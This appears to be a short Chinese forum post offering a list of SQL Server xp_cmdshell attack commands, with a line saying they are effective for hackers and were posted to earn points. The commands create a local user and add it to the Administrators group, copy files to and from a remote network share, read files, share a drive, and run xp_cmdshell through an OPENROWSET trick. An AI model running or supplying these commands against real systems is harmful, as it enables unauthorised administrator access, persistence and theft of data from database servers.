xp_cmdshell "net user pengcheng admin /add" xp_cmdshell "net localgroup Administrators pengcheng /add" xp_cmdshell "md c:\test" xp_cmdshell'dir c:\test' xp_cmdshell "copy c:\install.log c:\test" xp_cmdshell 'copy c:\test \\pc\1234' xp_cmdshell "type c:\dfydrdbg.txt" xp_cmdshell "copy \\pc\d\spt c:\test " xp_cmdshell "net share e=e:\"

select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''') 黑客有效。。刚来换来积分。。希望支持